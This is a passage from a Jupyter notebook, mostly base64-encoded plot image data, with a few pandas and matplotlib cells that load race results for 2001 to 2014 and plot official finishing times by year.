nTonSRq4ZI7eOHyy+lzn\n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\nvp660Lc8XYq4Tp66xNbXUxf6lqcLfZuf8dTXUxf6xtHFwtXdJjdv3qzFixdr8uTJFzz39ttv62tf\n+5oOHjyYS+Yvf/mLbrnlFhddYuvrqQt9y9OliOvkqUtsfT11oW95utC3+RlPfT11oW8cXS6//PIL\nnqvl6uQNAAAAAJDO7Zw3AAAAAMBXXM15O3LkiF577TW1tbWptbVVlUpFp0+f1pIlS9TZ2ZlrxlOX\n2Pp66kLf8nQp4jp56hJbX09d6FueLvRtfoYu9I25i0niyIoVKy54bGBgIHniiSdyz3jqEltfT13o\nW54uRVwnT11i6+upC33L04W+zc/Qhb4xd7Fwddlkf3//BY9VKhVVKpXcM566xNbXUxf6lqdLEdfJ\nU5fY+nrqQt/ydKFv8zN0oW/MXSxc3bDk6NGj2rp1qzo6OpQkifr7+6tvJ86ePTvXjKcusfX11IW+\n5elSxHXy1CW2vp660Lc8Xejb/Axd6BtzFwtXJ28AAAAAgHSuLpsEAAAAAKRzdbfJbdu26eOPP9ZV\nV12l119/XVOnTlWSJFq4cKHmzJkjSXr//fe1Y8cOJUmi73znO/rTn/6k1tZWzZ07V/Pnzw+2nDy7\nxNY3pi6W5XjqEtv4eupSxHXy1CW2Y8lTlxi3dUx981pnb33LuK1jO/Y9dWFbN7+LJWOSOLJ69eok\nSZLkkUceSU6fPl19fOXKldWvf/e73yVJkiRffvll8stf/jLp7+9PkiRJ/vCHPwRdTp5dYusbUxfL\ncjx1sSyHLuVZJ09dLMuhS3G2dUx981pnb33LuK0ty6FLcfbNmMY31M8YC5eXTd5xxx1qb29Pfa6l\n5XzlwTuzDP7/8VpOHl1i6xtjl5GW46nLaJZDl/Ksk6cuIy2HLsXZ1rH1DbGM2PqGWk5sfRsthy7F\n2TcbLSe2LqN5nZG4umxy5syZklR9G1OSPvnkE02aNKn6/xcvXqz169erv79fd999t5588km1tbVp\nwYIFQZeTZ5fY+sbUxbIcT11iG19PXYq4Tp66WJZDl+zL8dQltr55rbO3vmXc1pbl0CX7cjx1iW18\nQ/2MseBukwAAAAAQAZeXTQIAAAAAhpvw8MMPP9zsEo1s2rRJV1xxhTlz6NAhbd68WXv37tX06dPV\n0dEhSXr88cd17bXXmjLbtm3Tzp07ValUtGHDBh08eFB79uxRW1ubpk2bJkmmzOHDh3Xy5Mnqvy1b\ntmjy5MnasmWLrrzyymDrHWKdrevUKGNZ57zGxbLeeY2Ldb2zjk3RjxOOJY6l0ewznsbFkontWCrr\nccK2bu62tqyTZZ3zWqc8t2MR982YfueE6mLhZs5bf3+/Pvzww9Tn9u/fr66uLlNGkl599VXdeeed\nkqSNGzdq3rx5mjNnjqZOnVrNN8ocPHhQy5cv16OPPqoHHnigOjlx1apV1etdLZnHHntMt9xyS/W5\n/fv367LLLtP+/fuDrneIdQ613o3WOc9xsax3XuNiWe9GmbIeJ5YMxxLH0tD19jQulkxsx1IZjxPr\nOrGtfR/7obajpW9e2zHUOnnaNy19Pe13obpYuDl5q1QqWrt2rW688cYLnjtz5ow5Iw2/e8vNN9+s\n3t7eYc9bM9LY7xL54IMPqre3Vx0dHbrhhhu0Z88eLViwQJdeeql5nSyZkOvcaJ0aZRqtsyWT5/6Q\n17hIYx+bsh4nlgzHEsfS0PX2NC7WTKN1tmTy2mfKeJyEXm+29fist2Vc8l6n8d6OodfJw75p6etp\nvwvdZSRuTt5aWlo0d+7c1DuuHD582JyRpPnz52vTpk3V/1K2dOlSvfzyy9q9e7c5E+oukZMnT1Z3\nd7c+/fRTPfvsszp27Jgk6eKLLw663iHWOdR6N1rnPMfFst55jUuosSnjcWLJcCxxLA1db0/jYsnE\ndiyV8TgJtd5s6/Fdb8u45LVOeW3HUOvkad+09PW034XqYlGqu0329fWps7NzzJmYlHGdrRqtN+My\ntkzRMC71cSylK+M+U8Z1lsq53kVcZ9YpDjH9zhmPLm7vNvn5558Hz9QbvEaZ8egynpkQ6zweXbxl\nGm3r8RyXUBmOk/HNcCzZMt6PJU/jYsl43taNni/rccK2zp7J2sWSyWs7jkeXUJki7psx/c4ZS5d6\n3J68/epXv3KT8dTFkqFL9oynLpYMXcY3Q5fsGbpkz3jqYsnQJXvGUxdLxlMXS4Yu2TOeulgyRexS\nj9uTNwAAAADAVzh5AwAAAIAIcPIGAAAAABFwe7fJzz//vPrp5M3OeOpiydAle8ZTF0uGLuOboUv2\nDF2yZzx1sWTokj3jqYsl46mLJUOX7BlPXSyZInapx+3JGwAAAADgK24+pFuSjhw5otdee01tbW1q\nbW1VpVLR6dOntWTJkuqtNvPKeOoSW19PXehbni5FXCdPXWLr66kLfcvThb7Nz9CFvjF3MUkcWbFi\nxQWPDQwMJE888UTuGU9dYuvrqQt9y9OliOvkqUtsfT11oW95utC3+Rm60DfmLhaubljS399/wWOV\nSkWVSiX3jKcusfX11IW+5elSxHXy1CW2vp660Lc8Xejb/Axd6BtzFwtXc96OHj2qrVu3qqOjQ0mS\nqL+/v/p24uzZs3PNeOoSW19PXehbni5FXCdPXWLr66kLfcvThb7Nz9CFvjF3sXB18gYAAAAASOfq\nskkAAAAAQDpXd5t8//33tWPHDiVJou985zv605/+pNbWVs2dO1fz58+XJG3btk0ff/yxrrrqKr3+\n+uuaOnWqkiTRwoULNWfOnGDLybNLbH1j6mJZjqcusY2vpy5FXCdPXWI7ljx1iXFbx9Q3r3X21reM\n2zq2Y99TF7Z187tYMiaJI7/73e+SJEmSL7/8MvnlL3+Z9Pf3J0mSJH/4wx+qmdWrVydJkiSPPPJI\ncvr06erjK1euDLqcPLvE1jemLpbleOpiWQ5dyrNOnrpYlkOX4mzrmPrmtc7e+pZxW1uWQ5fi7Jsx\njW+onzEWri6bbGk5X2fwriuD/z/NHXfcofb29nFbTp5dYusbU5fRLMdTl5GWQ5fyrJOnLqNZDl3i\n39Yx9c1rnb31LeO2Hs1y6BL/vhnj+I71Z4yFq8smFy9erPXr16u/v1933323nnzySbW1tWnBggXV\nzMyZMyVp2NuLn3zyiSZNmhR0OXl2ia1vTF0sy/HUJbbx9dSliOvkqYtlOXQpzraOqW9e6+ytbxm3\ntWU5dCnOvhnT+Ib6GWPB3SYBAAAAIAKuLpsEAAAAAKSb8PDDDz/c7BIhbNq0SVdccYU5c+jQIW3e\nvFl79+7V9OnT1dHRIUl6/PHHde211zZ8Xjp/15idO3eqUqlow4YNOnjwoPbs2aO2tjZNmzbNnBnP\n9R7NOlszjdbJss6HDx/WyZMnq/+2bNmiyZMna8uWLbryyivHfVyGZvIaF2tmPMcm5uOk2fsMx1Lj\njKdjydO4WNY7lmOpjMcJ23rs62zNNPvYD71O3rZj0fZNT/tdqNexcDXnrZH+/n59+OGHqc/t379f\nXV1dpowkvfrqq7rzzjslSRs3btS8efM0Z84cTZ061fS8JB08eFDLly/Xo48+qgceeKA6+XDVqlXV\n61ktmbGu9w9+8IMg6xxqvS3r/Nhjj+mWW26pPrd//35ddtll2r9/v2lMLONi3R/yGhdrZqxjU9Tj\nJI99hmOp/nrHdix5GhfLens6lsp4nLCt09fJ27a2ZEJs61Dr5GU7FnHf9PY7J9TrWER18lapVLR2\n7VrdeOONFzx35swZc0YafpeYm2++Wb29vaN6fqjxvrNMo3UKtc7WzKBG6zTS8w8++KB6e3vV0dGh\nG264QXv27NGCBQt06aWX1l1erVD7Q97j0igz1rEp6nGSxz7DsXTjBc/Feix5GhcprmOpjMcJ2zp9\nnbxu65EyIbZ16HVq9na09o1p37T2zWudQr/OSKI6eWtpadHcuXOH3SFm0OHDh80ZSZo/f742bdpU\n/a8RS5cu1csvv6zdu3ebnpfyu7NMo3UKtc6h1tuyzpMnT1Z3d7c+/fRTPfvsszp27Jgk6eKLL7YN\nisLtD3mNizUz1rEp6nGSxz7DsVScY8nTuFjW29OxVMbjhG0dx7a2ZEJs61Dr5GU7WvvGtG9a++a1\nTqFex4K7Tdbo6+tTZ2dn5udjZFmnIq53I4xLfWU8TizYZ9IxLvWV8Vgq6/7Ats6e8aSM61S09bFm\n8uoyWpy8AQAAAEAE+KgAAAAAAIiA+5O3ffv26cSJE82ukbuyrncjjEs6xqU+xiYd45KOcQEAeOb+\nc962bNmif//3f1dfX58uvfRSXXTRRc2ulIuyrncjjEs6xqU+xiYd45KOcQEAeBbFnLfPP/9cu3fv\n1gcffKBbb7212XVyU9b1boRxSce41MfYpGNc0jEuAACvojh5AwAAAICycz/nDQAAAADg7EO6jxw5\notdee01tbW1qbW1VpVLR6dOntWTJkqg+X2K0duzYoUWLFmn79u368MMP1draqjNnzmj+/PmaN29e\ns+s1TVn3h0bYX+pjn0nHPpOO/QUAEJ3EkRUrVlzw2MDAQPLEE0+M+H3vvvtucvz48XHPjNfrrFmz\nJkmSJFm1atWw3O9//3uXffPq0sz9wdPY1WbGa38JlWnm2I3XPuNpf/D0M2a8+ubVpay/c8YrQ5fs\nGU9dLBlPXSwZumTPeOpiyRSxSy1Xd5t844039O1vf3vYY5VKRTt37tSiRYvqfp/l7mAhMuP1OocP\nH9bVV1+t3bt362/+5m+qubfeeksLFy7MvN55jct4dXnvvfeatj94GrvaTH9/v6677rrg+0uoTDPH\nbrz2GU/7g6efMbGPXTN/xmTp6+nnkPe+nrrQt/kZutA35i61XN2w5OjRo9q6das6OjqUJIn6+/ur\n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\nvy1JOnr0qF599VXt3r1ba9euVUtLi370ox9p4sSJOnfunJ577rnqc5L0/e9/XzNnzqyuxzvvvJP6\nLtinn36qF198URMnTlSSJDp48KDuu+8+XXzxxdXlvvPOO7r//vuHvfM2MDCgP/zhD9XvmzJlyrB3\n+gAAkDh5AwDk5JprrtE111wjSfriiy/07LPPqqenR//7v/+re++9V5VKRQMDA/rXf/1X/cu//Iuk\n85c1/uAHP6ieOPX19enFF1/UTTfd1PD1NmzYMOzkav369Zo9e7ZmzJihSy+9VD09Pfriiy/U09Mz\n7Pva2tp022236ezZsxc8N3Q90t4FW79+ve655x5VKhVJ0p///GdNmjRp2HJfeumlC76vpaVl2Dt5\nv//97xuuHwCgfDh5AwDkYvfu3dq5c6daW1vV0tKi/v5+SdKkSZOqJzstLS1auHBh9Xv6+vq0ZcuW\nYctpbW1t+FqnTp2qnvANWrRokfbt26cZM2aMdVXqamtrq66LJF133XWm7zt79qw2bNig/v5+tbS0\n6N133x2vigCAiHHyBgAYd2fOnNEbb7yhu+++W5J07tw5PfPMM9WvkySpvvP21ltvVb9v7ty5uuaa\na9TZ2Vl97Msvvxy27M2bN+vzzz8fdpnhlClT1NfXNyz35ptv6vrrrw++bkOdOXNGAwMD1cs6T548\nqVOnTmnWrFkjft+6det000036aKLLpJ0fi4eAAC1KkmSJM0uAQAovt/+9rdqb29XkiRKkkRvv/22\n7rvvPn3ta1/TCy+8oEmTJunMmTP661//qn/8x3+sft+GDRt05swZSeffofrmN7+pv/u7v5MkJUmi\nf/qnf9Ltt9+u7u7uYa939OhRvfTSS2pvb9e5c+d09dVXV+e87du3T2+++aZ27NihRYsWqb29vfr9\nJ06c0Isvvqg333xTixYtUqVS0U033aQpU6ZU560NDAxUv3fatGm68cYbJak6f6+9vV1ffvmlJk6c\nqO7ubrW3t1fnyu3bt08zZ87U1772NX3ve9/TpZdeql27dumtt95Sa2urvvzyS+3du1ff+c531N3d\n3fA1AQDlwckbAMCVVatW6c477zRl33vvPf3Xf/2X/vM//9N0ExMAAGLGZZMAgKbbvn27Dh48qHPn\nzmnu3Lnm79u7d6/uvfdeTtwAAKXAO28AAAAAEAH+UyUAAAAARICTNwAAAACIACdvAAAAABABTt4A\nAAAAIAKcvAEAAABABDh5AwAAAIAI/P9zjm2b6Q+BSwAAAABJRU5ErkJggg==\n", "text": [ "<matplotlib.figure.Figure at 0x12e21fd50>" ] } ], "prompt_number": 180 }, { "cell_type": "code", "collapsed": false, "input": [ "pd.cut?" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 161 }, { "cell_type": "code", "collapsed": false, "input": [ "years = []\n", "for year in range(2001, 2015):\n", " y = pd.read_csv(\"results/{}/results.csv\".format(year), na_values=\"-\")[[\"official\", \"gender\", \"age\"]]\n", " y[\"year\"] = str(year)\n", " years.append(y)\n", "alltimes = pd.concat(years, ignore_index=True).dropna()" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 157 }, { "cell_type": "code", "collapsed": false, "input": [ "plt.figure()\n", "alltimes.boxplot(column='official', by='year')" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 138, "text": [ "<matplotlib.axes.AxesSubplot at 0x11e43ee50>" ] }, { "metadata": {}, "output_type": "display_data", "text": [ "<matplotlib.figure.Figure at 0x116cf8290>" ] }, { "metadata": {}, "output_type": "display_data", "png": 